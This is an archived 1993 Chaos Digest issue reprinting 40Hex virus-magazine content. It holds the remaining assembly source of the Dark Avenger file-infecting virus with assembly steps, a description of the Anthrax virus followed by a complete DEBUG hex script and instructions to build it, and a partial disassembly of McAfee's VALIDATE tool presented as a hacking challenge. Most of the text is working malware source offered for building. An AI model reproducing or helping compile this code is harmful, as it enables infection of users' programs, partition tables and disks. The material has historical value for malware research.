home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / KAOS1_37.ZIP / KAOS1-37
Text File  |  1993-06-02  |  28KB  |  841 lines

  1. Chaos Digest             Mercredi 26 Mai 1993        Volume 1 : Numero 37
  2.                             ISSN 1244-4901
  3.  
  4.        Editeur: Jean-Bernard Condat (jbcondat@attmail.com)
  5.        Archiviste: Yves-Marie Crabbe
  6.        Co-Redacteurs: Arnaud Bigare, Stephane Briere
  7.  
  8. TABLE DES MATIERES, #1.37 (26 Mai 1993)
  9. File 1--40H VMag Issue 1 Volume 3 #002(2)-004(1) (reprint)
  10.  
  11. Chaos Digest is a weekly electronic journal/newsletter. Subscriptions are
  12. available at no cost by sending a message to:
  13.                 linux-activists-request@niksula.hut.fi
  14. with a mail header or first line containing the following informations:
  15.                     X-Mn-Admin: join CHAOS_DIGEST
  16.  
  17. The editors may be contacted by voice (+33 1 47874083), fax (+33 1 47877070)
  18. or S-mail at: Jean-Bernard Condat, Chaos Computer Club France [CCCF], B.P.
  19. 155, 93404 St-Ouen Cedex, France.  He is a member of the EICAR and EFF (#1299)
  20. groups.
  21.  
  22. Issues of ChaosD can also be found from the ComNet in Luxembourg BBS (+352)
  23. 466893.  Back issues of ChaosD can be found on the Internet as part of the
  24. Computer underground Digest archives. They're accessible using anonymous FTP:
  25.  
  26.         * kragar.eff.org [192.88.144.4] in /pub/cud/chaos
  27.         * uglymouse.css.itd.umich.edu [141.211.182.53] in /pub/CuD/chaos
  28.         * halcyon.com [192.135.191.2] in /pub/mirror/cud/chaos
  29.         * ftp.cic.net [192.131.22.2] in /e-serials/alphabetic/c/chaos-digest
  30.         * ftp.ee.mu.oz.au [128.250.77.2] in /pub/text/CuD/chaos
  31.         * nic.funet.fi [128.214.6.100] in /pub/doc/cud/chaos
  32.         * orchid.csv.warwick.ac.uk [137.205.192.5] in /pub/cud/chaos
  33.  
  34. CHAOS DIGEST is an open forum dedicated to sharing French information among
  35. computerists and to the presentation and debate of diverse views. ChaosD
  36. material may be reprinted for non-profit as long as the source is cited.
  37. Some authors do copyright their material, and they should be contacted for
  38. reprint permission.  Readers are encouraged to submit reasoned articles in
  39. French, English or German languages relating to computer culture and
  40. telecommunications.  Articles are preferred to short responses.  Please
  41. avoid quoting previous posts unless absolutely necessary.
  42.  
  43. DISCLAIMER: The views represented herein do not necessarily represent
  44.             the views of the moderators. Chaos Digest contributors
  45.             assume all responsibility for ensuring that articles
  46.             submitted do not violate copyright protections.
  47.  
  48. ----------------------------------------------------------------------
  49.  
  50. Date: Tue May 11 09:24:40 PDT 1993
  51. From: 0005847161@mcimail.com (American_Eagle_Publication_Inc. )
  52. Subject: File 1--40H VMag Issue 1 Volume 3 #002(2)-004(1) (reprint)
  53.  
  54. [suite du listing de _Dark Avenger_ de ChaosD #1.35:]
  55.  
  56. ; Check if the file is properly infected
  57.  
  58. see_sick:
  59.         sub     dx,startup-copyright
  60.         sbb     cx,0
  61.         mov     ax,4200h
  62.         int     21h
  63.         add     ax,offset top_file
  64.         adc     dx,0
  65.         cmp     ax,word ptr [top_save+18h]
  66.         jne     see_fuck
  67.         cmp     dx,word ptr [top_save+1ah]
  68.         jne     see_fuck
  69.         mov     dx,offset top_save+1ch
  70.         mov     si,dx
  71.         mov     cx,offset my_size
  72.         mov     ah,3fh
  73.         int     21h
  74.         jc      see_fuck
  75.         cmp     cx,ax
  76.         jne     see_fuck
  77.         xor     di,di
  78. next_byte:
  79.  
  80.         lodsb
  81.         scasb
  82.         jne     see_fuck
  83.         loop    next_byte
  84. stop_fuck_2:
  85.         ret
  86. see_fuck:
  87.         xor     cx,cx                   ;Seek to the end of file
  88.         xor     dx,dx
  89.         mov     ax,4202h
  90.         int     21h
  91.         cmp     word ptr [top_save],5a4dh
  92.         je      fuck_exe
  93.         add     ax,offset aux_size+200h ;Watch out for too big .COM files
  94.         adc     dx,0
  95.         je      fuck_it
  96.         ret
  97.  
  98. ;Pad .EXE files to paragraph boundary. This is absolutely unnecessary.
  99.  
  100. fuck_exe:
  101.         mov     dx,word ptr [top_save+18h]
  102.         neg     dl
  103.         and     dx,0fh
  104.         xor     cx,cx
  105.         mov     ax,4201h
  106.         int     21h
  107.         mov     word ptr [top_save+18h],ax
  108.         mov     word ptr [top_save+1ah],dx
  109. fuck_it:
  110.         mov     ax,5700h                ;Get file's date
  111.         int     21h
  112.         pushf
  113.         push    cx
  114.         push    dx
  115.         cmp     word ptr [top_save],5a4dh
  116.         je      exe_file                ;Very clever, isn't it?
  117.         mov     ax,100h
  118.         jmp     short set_adr
  119. exe_file:
  120.         mov     ax,word ptr [top_save+14h]
  121.         mov     dx,word ptr [top_save+16h]
  122. set_adr:
  123.         mov     di,offset call_adr
  124.         stosw
  125.         mov     ax,dx
  126.         stosw
  127.         mov     ax,word ptr [top_save+10h]
  128.         stosw
  129.         mov     ax,word ptr [top_save+0eh]
  130.         stosw
  131.         mov     si,offset top_save      ;This offers the possibilities to
  132.         movsb                           ;some nasty programs to restore
  133.         movsw                           ;exactly the original length
  134.         xor     dx,dx                   ;of the .EXE files
  135.         mov     cx,offset top_file
  136.         mov     ah,40h
  137.         int     21h                     ;Write the virus
  138.         jc      go_no_fuck              ;(don't trace here)
  139.         xor     cx,ax
  140.         jnz     go_no_fuck
  141.         mov     dx,cx
  142.         mov     ax,4200h
  143.         int     21h
  144.         cmp     word ptr [top_save],5a4dh
  145.         je      do_exe
  146.         mov     byte ptr [top_save],0e9h
  147.         mov     ax,word ptr [top_save+18h]
  148.         add     ax,startup-copyright-3
  149.         mov     word ptr [top_save+1],ax
  150.         mov     cx,3
  151.         jmp     short write_header
  152. go_no_fuck:
  153.         jmp     short no_fuck
  154.  
  155. ;Construct the .EXE file's header
  156.  
  157. do_exe:
  158.         call    mul_hdr
  159.         not     ax
  160.         not     dx
  161.         inc     ax
  162.         jne     calc_offs
  163.         inc     dx
  164. calc_offs:
  165.         add     ax,word ptr [top_save+18h]
  166.         adc     dx,word ptr [top_save+1ah]
  167.         mov     cx,10h
  168.         div     cx
  169.         mov     word ptr [top_save+14h],startup-copyright
  170.         mov     word ptr [top_save+16h],ax
  171.         add     ax,(offset top_file-offset copyright-1)/16+1
  172.         mov     word ptr [top_save+0eh],ax
  173.         mov     word ptr [top_save+10h],100h
  174.         add     word ptr [top_save+18h],offset top_file
  175.         adc     word ptr [top_save+1ah],0
  176.         mov     ax,word ptr [top_save+18h]
  177.         and     ax,1ffh
  178.         mov     word ptr [top_save+2],ax
  179.         pushf
  180.         mov     ax,word ptr [top_save+19h]
  181.         shr     byte ptr [top_save+1bh],1
  182.         rcr     ax,1
  183.         popf
  184.         jz      update_len
  185.         inc     ax
  186. update_len:
  187.         mov     word ptr [top_save+4],ax
  188.         mov     cx,18h
  189. write_header:
  190.         mov     dx,offset top_save
  191.         mov     ah,40h
  192.         int     21h                     ;Write the file beginning
  193. no_fuck:
  194.         pop     dx
  195.         pop     cx
  196.         popf
  197.         jc      stop_fuck
  198.         mov     ax,5701h                ;Restore the original file date
  199.         int     21h
  200. stop_fuck:
  201.         ret
  202.  
  203. ;The following is used by the INT 21h and INT 27h handlers in connection
  204. ;to the program hiding in memory from those who don't need to see it.
  205. ;The whole system is absurde and meaningless and it is also another source
  206. ;for program conflicts.
  207.  
  208. alloc:
  209.         push    ds
  210.         call    get_chain
  211.         mov     byte ptr ds:[0],'M'
  212.         pop     ds
  213.  
  214. ;Assures that the program is the first one in the processes,
  215. ;which have intercepted INT 21h (yet another source of conflicts).
  216.  
  217. ontop:
  218.         push    ds
  219.         push    ax
  220.         push    bx
  221.         push    dx
  222.         xor     bx,bx
  223.         mov     ds,bx
  224.         lds     dx,ds:[21h*4]
  225.         cmp     dx,offset int_21
  226.         jne     search_segment
  227.         mov     ax,ds
  228.         mov     bx,cs
  229.         cmp     ax,bx
  230.         je      test_complete
  231.  
  232. ;Searches the segment of the sucker who has intercepted INT 21h, in
  233. ;order to find where it has stored the old values and to replace them.
  234. ;Nothing is done for INT 27h.
  235.  
  236.         xor     bx,bx
  237. search_segment:
  238.         mov     ax,[bx]
  239.         cmp     ax,offset int_21
  240.         jne     search_next
  241.         mov     ax,cs
  242.         cmp     ax,[bx+2]
  243.         je      got_him
  244. search_next:
  245.         inc     bx
  246.         jne     search_segment
  247.         je      return_control
  248. got_him:
  249.         mov     ax,word ptr cs:[save_int_21]
  250.         mov     [bx],ax
  251.         mov     ax,word ptr cs:[save_int_21+2]
  252.         mov     [bx+2],ax
  253.         mov     word ptr cs:[save_int_21],dx
  254.         mov     word ptr cs:[save_int_21+2],ds
  255.         xor     bx,bx
  256.  
  257. ;Even if he has not saved them in the same segment, this won't help him.
  258.  
  259. return_control:
  260.         mov     ds,bx
  261.         mov     ds:[21h*4],offset int_21
  262.         mov     ds:[21h*4+2],cs
  263. test_complete:
  264.         pop     dx
  265.         pop     bx
  266.         pop     ax
  267.         pop     ds
  268.         ret
  269.  
  270. ;Fetch the segment of the last MCB
  271.  
  272. get_chain:
  273.         push    ax
  274.         push    bx
  275.         mov     ah,62h
  276.         call    function
  277.         mov     ax,cs
  278.         dec     ax
  279.         dec     bx
  280. next_blk:
  281.         mov     ds,bx
  282.         stc
  283.         adc     bx,ds:[3]
  284.         cmp     bx,ax
  285.         jc      next_blk
  286.         pop     bx
  287.         pop     ax
  288.         ret
  289.  
  290. ;Multiply by 16
  291.  
  292. mul_hdr:
  293.         mov     ax,word ptr [top_save+8]
  294. mul_16:
  295.         mov     dx,10h
  296.         mul     dx
  297.         ret
  298.  
  299.         db      'This program was written in the city of Sofia '
  300.         db      '(C) 1988-89 Dark Avenger',0
  301.  
  302. ;INT 13h handler.
  303. ;Calls the original vectors in BIOS, if it's a writing call
  304.  
  305. int_13:
  306.         cmp     ah,3
  307.         jnz     subfn_ok
  308.         cmp     dl,80h
  309.         jnc     hdisk
  310.         db      0eah                    ;JMP XXXX:YYYY
  311. my_size:                                ;--- Up to here comparison
  312. disk:                                   ; with the original is made
  313.         dd      0
  314. hdisk:
  315.         db      0eah                    ;JMP XXXX:YYYY
  316. fdisk:
  317.         dd      0
  318. subfn_ok:
  319.         db      0eah                    ;JMP XXXX:YYYY
  320. save_int_13:
  321.         dd      0
  322. call_adr:
  323.         dd      100h
  324.  
  325. stack_pointer:
  326.         dd      0                       ;The original value of SS:SP
  327. my_save:
  328.         int     20h                     ;The original contents of the first
  329.         nop                             ;3 bytes of the file
  330. top_file:                               ;--- Up to here the code is written
  331. filehndl    equ $                       ; in the files
  332. filename    equ filehndl+2              ;Buffer for the name of the opened
  333. file
  334. save_int_27 equ filename+65             ;Original INT 27h vector
  335. save_int_21 equ save_int_27+4           ;Original INT 21h vector
  336. aux_size    equ save_int_21+4           ;--- Up to here is moved into memory
  337. top_save    equ save_int_21+4           ;Beginning of the buffer, which
  338.                                         ;contains
  339.                                         ; - The first 24 bytes read from file
  340.                                         ; - File length (4 bytes)
  341.                                         ; - The last bytes of the file
  342.                                         ;   (my_size bytes)
  343. top_bz      equ top_save-copyright
  344. my_bz       equ my_size-copyright
  345.  
  346. code    ends
  347.         end
  348.  
  349. ------------------------------------------------------------------------------
  350.  
  351.      A few notes on assembling this virus.
  352.  
  353.      It's a little bit tricky assembling the Dark Avenger Virus.  Use
  354.      these steps below.  I use Turbo Assembler 2.0, but I'm positve that
  355.      MASM will work just as well.
  356.  
  357.      1:
  358.          TASM AVENGER.ASM
  359.  
  360.      2:
  361.          TLINK AVENGER.OBJ
  362.  
  363.      3:
  364.          EXE2BIN AVENGER AVENGER.COM
  365.  
  366.      Now make a 3 byte file named JUMP.TMP using DEBUG like this
  367.  
  368.      4:  DEBUG
  369.  
  370.          n jmp.tmp
  371.          e 0100  E9 68 00
  372.  
  373.          rcx
  374.          3
  375.          w
  376.          q
  377.  
  378.       5: Now do this COPY JMP.TMP + AVENGER.COM DAVENGER.COM
  379.  
  380.          There you have it....
  381.                                                                      HR
  382. +++++
  383.  
  384. 40Hex Issue 3                                                      0003
  385.  
  386.                                 Anthrax
  387.  
  388.     Well, this is turning out to be a tribute issue to the Dark
  389.     Avenger.  Here is another one of his better known viruses.  This is
  390.     a nice one cause it not only is a file infector, but it is also a
  391.     sort of boot sector virus.  It is also what I dubbed a reincarnation
  392.     virus, meaning that even if you clean your system of it, it may
  393.     still live, because it leaves a copy of itself on the last sector of
  394.     the disk.  The virus can be reincarnated by the V2100 virus, also bu
  395.     The Dark Avenger.
  396.  
  397.     Well, Patti Hoffman (one of my favorite people on earth, not) wrote
  398.     this virus up.
  399.  
  400.  Aliases:
  401.  V Status:    Rare [Not for long]
  402.  Discovery:   July, 1990
  403.  Symptoms:    .COM & .EXE growth
  404.  Origin:      Bulgaria
  405.  Isolated:    Netherlands
  406.  Eff Length:  1040 - 1279 Bytes
  407.  Type Code:   PRAKX-Parasitic Resident .COM, .EXE, & Partition Table Infector
  408.  Detection Method:  ViruScan V66+, Pro-Scan 2.01+, IBM Scan 2.00+
  409.  Removal Instructions: Scan/D + MDisk/P, Pro-Scan 2.01+
  410.  General Comments:
  411.  
  412. The Anthrax Virus was isolated in July 1990 in the Netherlands after
  413. it was uploaded onto several BBSes in a trojan anti-viral program,
  414. USCAN.ZIP.  It is the second virus to be found in a copy of UScan
  415. during July 1990, the first virus being V2100.  Anthrax is a memory
  416. resident generic infector of .COM and .EXE files, including
  417. COMMAND.COM.
  418.  
  419. The first time a program infected with the Anthrax virus is executed
  420. on the system's hard disk, the virus will infect the hard disk's
  421. partition table.  At this point, the virus is not memory resident.  It
  422. will also write a copy of itself on the last few sectors of the
  423. system's hard disk.  If data existed on those last few sectors of the
  424. hard disk, it will be destroyed.
  425.  
  426. When the system is booted from the hard disk, the Anthrax virus
  427. will install itself memory resident.  It will remain memory resident
  428. until the first program is executed.  At that time, it will deinstall
  429. itself from being resident and infect one .COM or .EXE file.  This
  430. virus does not infect files in the current directory first, but
  431. instead starts to infect files at the lowest level of the disk's
  432. directory tree.
  433.  
  434. Later, when an infected program is executed, Anthrax will infect one
  435. .COM or .EXE file, searching the directory structure from the lowest
  436. level of the directory tree.  If the executed infected program
  437. was located on the floppy drive, a .COM or .EXE file may or may not
  438. be infected.
  439.  
  440. The Anthrax Virus's code is 1,024 bytes long, but infected programs
  441. will increase in length by 1,040 to 1,279 bytes.  On the author's test
  442. system, the largest increase in length experienced was 1,232 bytes.
  443. Infected files will always have an infected file length that is a
  444. multiple of 16.
  445.  
  446. The following text strings can be found in files infected with the
  447. Anthrax virus:
  448.  
  449.         "(c)Damage, Inc."
  450.         "ANTHRAX"
  451.  
  452. A third text string occurs in the viral code, but it is in Cyrillics.
  453. Per Vesselin Bontchev, this third string translates to: "Sofia 1990".
  454.  
  455. Since Anthrax infects the hard disk partition tables, infected systems
  456. must have the partition table disinfected or rebuilt in order to
  457. remove the virus.  This disinfection can be done with either a low-
  458. level format or use of the MDisk/P program for the correct DOS
  459. version after powering off and rebooting from a write-protected boot
  460. diskette for the system.  Any .COM or .EXE files infected with
  461. Anthrax must also be disinfected or erased.  Since a copy of the virus
  462. will exist on the last few sectors of the drive, these must also be
  463. located and overwritten.
  464.  
  465. Anthrax interacts with another virus: V2100.  If a system which was
  466. previously infected with Anthrax should become infected with the V2100
  467. virus, the V2100 virus will check the last few sectors of the hard
  468. disk for the spare copy of Anthrax.  If the spare copy is found, then
  469. Anthrax will be copied to the hard disk's partition table.
  470.  
  471. It is not known if Anthrax carries any destructive capabilities or
  472. trigger/activation dates.
  473.  
  474. Here is the actual virus.  Well if this is your fist copy of
  475. 40Hex, let me explain how to compile it.
  476.  
  477. First copy what is below with your editor.  Then save it to a file
  478. called ANTHRAX.SCR.  Then type at the command line -
  479.  
  480. DEBUG <ANTHRAX.SCR
  481.  
  482. This will create a file called ANTHRAX.COM, that's the actual virus.
  483.  
  484. ----------------------------------------------------------------------------
  485.  
  486. n anthrax.com
  487. e 0100  E9 38 03 00 00 00 00 00 00 00 00 00 00 00 00 00
  488. e 0110  95 8C C8 2D 00 00 BA 00 00 50 52 1E 33 C9 8E D9
  489. e 0120  BE 4C 00 B8 CD 00 8C CA 87 44 44 87 54 46 52 50
  490. e 0130  C4 1C B4 13 CD 2F 06 53 B4 13 CD 2F 58 5A 87 04
  491. e 0140  87 54 02 52 50 51 56 A0 3F 04 A8 0F 75 6C 0E 07
  492. e 0150  BA 80 00 B1 03 BB 77 06 B8 01 02 50 CD 13 58 B1
  493. e 0160  01 BB 00 04 CD 13 0E 1F BE 9B 03 8B FB B9 5E 00
  494. e 0170  56 F3 A6 5E 8B FB B9 62 00 56 F3 A4 5F BE 12 08
  495. e 0180  B9 65 00 F3 A4 74 1E 89 4D E9 B1 5C 89 4D 9B 88
  496. e 0190  6D DC B1 02 33 DB B8 02 03 CD 13 49 BB 00 04 B8
  497. e 01A0  01 03 CD 13 49 B4 19 CD 21 50 B2 02 B4 0E CD 21
  498. e 01B0  B7 02 E8 87 01 5A B4 0E CD 21 5E 1F 8F 04 8F 44
  499. e 01C0  02 8F 44 44 8F 44 46 1F 1E 07 95 CB 28 63 29 20
  500. e 01D0  44 61 6D 61 67 65 2C 20 49 6E 63 2E 00 B0 03 CF
  501. e 01E0  06 1E 57 56 50 33 C0 8E D8 BE 86 00 0E 07 BF 08
  502. e 01F0  06 FD AD AB A5 AF 87 F7 AD FC 74 11 1E 07 AF B8
  503. e 0200  07 01 AB 8C C8 AB 8E D8 BF 68 00 A5 A5 58 5E 5F
  504. e 0210  1F 07 2E FF 2E 00 06 06 1E 57 56 52 51 53 50 0E
  505. e 0220  1F BE 06 06 33 C9 8E C1 BF 84 00 A5 A5 B4 52 CD
  506. e 0230  21 26 8B 47 FE 8E D8 BB 03 00 03 07 40 8E D8 81
  507. e 0240  07 80 00 0E 07 B7 12 E8 F2 00 58 5B 59 5A 5E 5F
  508. e 0250  1F 07 2E FF 2E 06 06 C3 91 AE B4 A8 BF 20 31 39
  509. e 0260  39 30 B8 00 3D CD 21 72 EE 93 B8 20 12 CD 2F 53
  510. e 0270  26 8A 1D B8 16 12 CD 2F 5B BE 62 04 8B D6 B1 18
  511. e 0280  B4 3F CD 21 33 C1 75 70 06 1F C6 45 02 02 33 D2
  512. e 0290  EC 3C 10 72 FB 03 45 11 13 55 13 24 F0 3D 00 FB
  513. e 02A0  73 56 89 45 15 89 55 17 0E 1F 50 B1 10 F7 F1 2B
  514. e 02B0  44 08 8B C8 2B 44 16 A3 04 00 AD 35 4D 5A 74 03
  515. e 02C0  35 17 17 9C 75 17 89 04 3B 44 0A 87 44 12 A3 07
  516. e 02D0  00 89 4C 14 B9 DC 04 74 07 83 44 08 48 B9 65 00
  517. e 02E0  51 B9 9B 03 B4 40 CD 21 33 C8 59 75 09 BA 00 04
  518. e 02F0  B4 40 CD 21 33 C8 5A 58 75 38 26 89 4D 15 26 89
  519. e 0300  4D 17 52 9D 75 18 26 8B 45 11 26 8B 55 13 B5 02
  520. e 0310  F7 F1 85 D2 74 01 40 89 14 89 44 02 EB 0A C6 44
  521. e 0320  FE E9 05 28 03 89 44 FF B9 18 00 8D 54 FE B4 40
  522. e 0330  CD 21 26 80 4D 06 40 B4 3E CD 21 C3 8E D9 8A 1E
  523. e 0340  6C 04 0E 1F FF 06 5E 04 BA 4B 06 E8 1F 00 BE 0A
  524. e 0350  06 C6 04 5C 46 32 D2 B4 47 CD 21 BA 9B 03 B4 3B
  525. e 0360  CD 21 E3 0D B4 51 CD 21 8E DB BA 80 00 B4 1A EB
  526. e 0370  C8 72 3E BE 9C 03 32 D2 B4 47 CD 21 3A 2E DC 03
  527. e 0380  B1 32 BA 9D 02 B4 4E 74 5C CD 21 72 24 BA 4B 06
  528. e 0390  B8 01 4F BE DC 03 BF 68 06 AA B1 0D F3 A6 74 45
  529. e 03A0  3A 6D FE 74 40 CD 21 73 E4 32 C0 EB D3 2A 2E 2A
  530. e 03B0  00 B1 41 BF 9C 03 3A 2D 8A C5 A2 DC 03 74 69 F2
  531. e 03C0  AE 4F B1 41 B0 5C FD F2 AE 8D 75 02 BF DC 03 FC
  532. e 03D0  AC 84 C0 AA 75 FA BA CD 02 32 C9 EB 81 2E 2E 00
  533. e 03E0  BA 4B 06 B4 4F CD 21 72 C8 BE 69 06 BF DC 03 80
  534. e 03F0  3C 2E 74 EC 88 2D 8B D6 F6 44 F7 10 75 DB AC 84
  535. e 0400  C0 AA 75 FA 4E FD AD AD FC 3D 58 45 74 05 3D 4F
  536. e 0410  4D 75 CD 53 E8 4B FE 5B 33 C9 8E C1 26 A0 6C 04
  537. e 0420  0E 07 2A C3 3A C7 72 B8 BA 80 00 B1 03 BB 00 02
  538. e 0430  B8 01 03 CD 13 BA 0A 06 E9 23 FF 95 BF 00 01 8B
  539. e 0440  5D 01 81 EB 28 02 8B C7 8D B7 FD 03 A5 A4 93 B1
  540. e 0450  04 D3 E8 8C D9 03 C1 BA 0B 00 EB 71 B8 D0 00 FC
  541. e 0460  87 85 68 FA AB 8C C8 E2 F7 A3 86 00 AB 8E D8 B4
  542. e 0470  08 CD 13 49 49 A1 E9 03 84 E4 74 01 91 B2 80 B8
  543. e 0480  03 03 CD 13 91 84 E4 75 02 2C 40 FE CC A3 E9 03
  544. e 0490  FF 06 60 04 32 F6 B9 01 00 BB 00 04 B8 01 03 CD
  545. e 04A0  13 8A D6 CB 41 4E 54 48 52 41 58 0E 1F 83 2E 13
  546. e 04B0  04 02 CD 12 B1 06 D3 E0 8E C0 BF 00 04 BE 00 7C
  547. e 04C0  B9 00 01 8B DE FC F3 A5 8E D8 BA 27 04 51 53 50
  548. e 04D0  52 CB 8E C1 B1 04 BE B0 05 83 C6 0E AD 3C 80 74
  549. e 04E0  04 E2 F6 CD 18 92 FD AD 91 B8 01 02 CD 13 81 3E
  550. e 04F0  FE 05 55 AA 75 ED 06 1E 07 1F 32 F6 B9 02 00 33
  551. e 0500  DB B8 02 02 CD 13 E9 EE FE 00 00 00 00 CD 20 CC
  552. e 0510  1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A
  553. e 0520  1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A
  554. e 0530  1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A
  555. e 0540  1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A
  556. e 0550  1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A
  557. e 0560  1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A
  558. e 0570  1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A
  559.  
  560. rcx
  561. 480
  562. w
  563. q
  564.  
  565. ------------------------------------------------------------------------
  566.                                                                       HR
  567. +++++
  568.  
  569. 40Hex Issue 3                                                       0004
  570.  
  571.                       The Strange Case of Validate
  572.  
  573.      - Fall to your knees, begging your way out of this disease.
  574.  
  575.      Well we all know what a dick John Mcafee is.  Well with his product
  576.      SCAN comes a program VALIDATE.  I noticed when I took a close look
  577.      at the internal workings of this program (while working on a little
  578.      revenge project) that there is text in the program.  The strings
  579.      read
  580.  
  581.      "Enter password now"
  582.      "Access denied"
  583.  
  584.      Well this got me going, what is this??? Well this brings up our
  585.      first 40Hex challenge.  I am including a dissassembly of validate.
  586.      Here it is:
  587.  
  588. ----------------------------------------------------------------------------
  589.  
  590. data_1e         equ     100h
  591. data_2e         equ     102h
  592. data_3e         equ     2Ch
  593. data_4e         equ     14h
  594. data_5e         equ     16h
  595. data_6e         equ     18h
  596. data_7e         equ     1Ah
  597. data_8e         equ     47h
  598. data_9e         equ     49h
  599. data_10e        equ     4Ah
  600. data_11e        equ     59h
  601.  
  602. seg_a           segment byte public
  603.                 assume  cs:seg_a, ds:seg_a
  604.  
  605.  
  606.                 org     100h
  607.  
  608. validate        proc    far
  609.  
  610. start:
  611.                 jmp     loc_96
  612.                 db      0Dh, '   ', 0Dh, 0Ah, 'VALIDATE 0'
  613.                 db      '.3 '
  614. copyright       db      'Copyright 1988-89 by McAfee Asso'
  615.                 db      'ciates.'
  616.                 db      '  (408) 988-3832', 0Dh, 0Ah, 0Dh
  617.                 db      0Ah, 'Written by Dennis Yelle', 0Dh
  618.                 db      0Ah, 0Dh, 0Ah
  619.                 db      1Ah
  620.  
  621. data_19 db      30h                                     dexed access)
  622.         db      '123456789ABCDEF'
  623.         db      10h, 0Fh, 0Dh, 8, 6, 3
  624.         db      1, 0, 0C8h, 10h, 0Ch, 5
  625.         db      0, 0C8h, 10h, 0Fh, 2, 0
  626.         db      0C8h, 10h, 0Fh, 0Eh, 7, 6
  627.         db      0, 0C8h, 10h, 0Fh, 0Dh, 0
  628.         db      0C8h
  629. loc_1:
  630.         mov     al,1
  631.         mov     ah,4Ch
  632.         int     21h
  633.         db      0CDh, 20h
  634. loc_2:
  635.         jmp     short loc_2
  636.  
  637. validate endp
  638.  
  639. sub_1   proc    near
  640.         mov     dx,si
  641. loc_3:
  642.         lodsb
  643.         cmp     al,1
  644.         ja      loc_3
  645.         pushf
  646.         mov     cx,si
  647.         sub     cx,dx
  648.         dec     cx
  649.         mov     ah,40h
  650.         mov     bx,1
  651.         int     21h
  652.         popf
  653.         jz      loc_1
  654.         retn
  655. sub_1   endp
  656.  
  657. sub_2   proc    near
  658.         mov     bp,sp
  659.         xchg    si,[bp]
  660.         call    sub_1
  661.         xchg    si,[bp]
  662.         retn
  663. sub_2   endp
  664.  
  665.         db      0B4h, 40h, 0BBh, 2, 0, 0B9h
  666.         db      48h, 0, 0BAh, 9, 1, 0CDh
  667.         db      21h, 0A1h, 2, 0, 8Ch, 0CBh
  668.         db      29h, 0D8h, 3Dh, 0, 10h, 77h
  669.         db      52h, 0E8h, 0D8h, 0FFh
  670.         db      0Dh, 0Ah, ' Sorry, there is not e'
  671.         db      'nough memory available.', 0Dh, 0Ah
  672.         db      ' I need 66000 bytes of RAM.', 0Dh
  673.         db      0Ah
  674.         db      1, 0BEh, 80h, 0, 0ACh, 0Ah
  675.         db      0C0h
  676.         db      74h, 9
  677. loc_4:
  678.         lodsb
  679.         cmp     al,20h
  680.         je      loc_4
  681.         cmp     al,0Dh
  682.         jne     loc_6
  683. loc_5:
  684.         jmp     loc_10
  685. loc_6:
  686.         dec     si
  687.         mov     data_33,si
  688.         push    si
  689.         mov     si,197h
  690.         call    sub_9
  691.         mov     di,666h
  692.         call    sub_10
  693.         mov     si,186h
  694.         call    sub_9
  695.         mov     di,866h
  696.         call    sub_10
  697.         call    sub_2
  698.         and     [bx+si],ah
  699.         and     [bx+si],ah
  700.         and     [bx+si],ah
  701.         and     [bx+si],ah
  702.         and     [bx+si],ah
  703.         inc     si
  704.         db      'ile Name:  '
  705.         db      0, 5Eh
  706. loc_7:
  707.         lodsb
  708.         cmp     al,20h
  709.         jg      loc_7
  710.         push    ax
  711.         xor     al,al
  712.         mov     [si-1],al
  713.         mov     bx,1
  714.         mov     cx,si
  715.         dec     cx
  716.         mov     dx,data_33
  717.         sub     cx,dx
  718.         mov     ah,40h
  719.         int     21h
  720.         push    si
  721.         call    sub_8
  722.         mov     dx,data_33
  723.         mov     ax,3D00h
  724.         int     21h
  725.         jc      loc_11
  726.         mov     data_32,ax
  727. ;*      call    sub_3
  728.         db      0E8h, 0B8h, 0
  729.         mov     ah,3Eh
  730.         mov     bx,data_32
  731.         int     21h
  732.         pop     si
  733.         pop     ax
  734.         cmp     al,0Dh
  735.         je      loc_9
  736. loc_8:
  737.         lodsb
  738.         cmp     al,20h
  739.         je      loc_8
  740.         cmp     al,0Dh
  741.         je      loc_9
  742.         call    sub_8
  743.         jmp     loc_6
  744. loc_9:
  745.         mov     ax,4C00h
  746.         int     21h
  747. loc_10:
  748.         mov     dx,2E6h
  749.         mov     cx,84h
  750.         jmp     loc_17
  751. loc_11:
  752.         mov     dx,5FBh
  753.         mov     cx,29h
  754.         jmp     loc_17
  755.         db      'This program prints the validati'
  756.         db      'on information for a file.', 0Dh
  757.         db      0Ah, 'Examples:', 0Dh, 0Ah, '    '
  758.         db      '      VALIDATE SCAN.EXE', 0Dh, 0Ah
  759.         db      '          VALIDATE SCANRES.EXE', 0Dh
  760.         db      0Ah
  761. sub_3   proc    near
  762.         xor     ax,ax
  763.         mov     data_34,ax
  764.         mov     data_35,ax
  765. loc_12:
  766.         mov     bx,data_32
  767.         mov     dx,0A66h
  768.         mov     cx,8000h
  769.         mov     ah,3Fh
  770.         int     21h
  771.         jnc     loc_13
  772.         jmp     loc_16
  773. loc_13:
  774.         or      ax,ax
  775.         jz      loc_14
  776.         mov     dx,ax
  777.         push    dx
  778.         mov     si,0A66h
  779.         mov     di,666h
  780.         mov     cx,data_34
  781.         call    sub_11
  782.         mov     data_34,cx
  783.         pop     dx
  784.         mov     si,0A66h
  785.         mov     di,866h
  786.         mov     cx,data_35
  787.         call    sub_11
  788.         mov     data_35,cx
  789.         jmp     short loc_12
  790. loc_14:
  791.         call    sub_2
  792.         and     [bx+si],ah
  793.         and     [bx+si],ah
  794.         and     [bx+si],ah
  795.         and     [bx+si],ah
  796.         and     [bx+si],ah
  797.         and     [bx+si],ah
  798.         and     [bx+si],ah
  799.         and     [bp+di+69h],dl
  800.         jp      $+67h
  801.         cmp     ah,[bx+si]
  802.         and     [bx+si],al
  803.         mov     ax,4202h
  804.         mov     bx,data_32
  805.         xor     cx,cx
  806.         xor     dx,dx
  807.         int     21h
  808.         jnc     $+0Fh
  809.         call    sub_2
  810.         jnz     $+70h
  811.         db      6Bh, 6Eh, 6Fh, 77h, 6Eh, 0
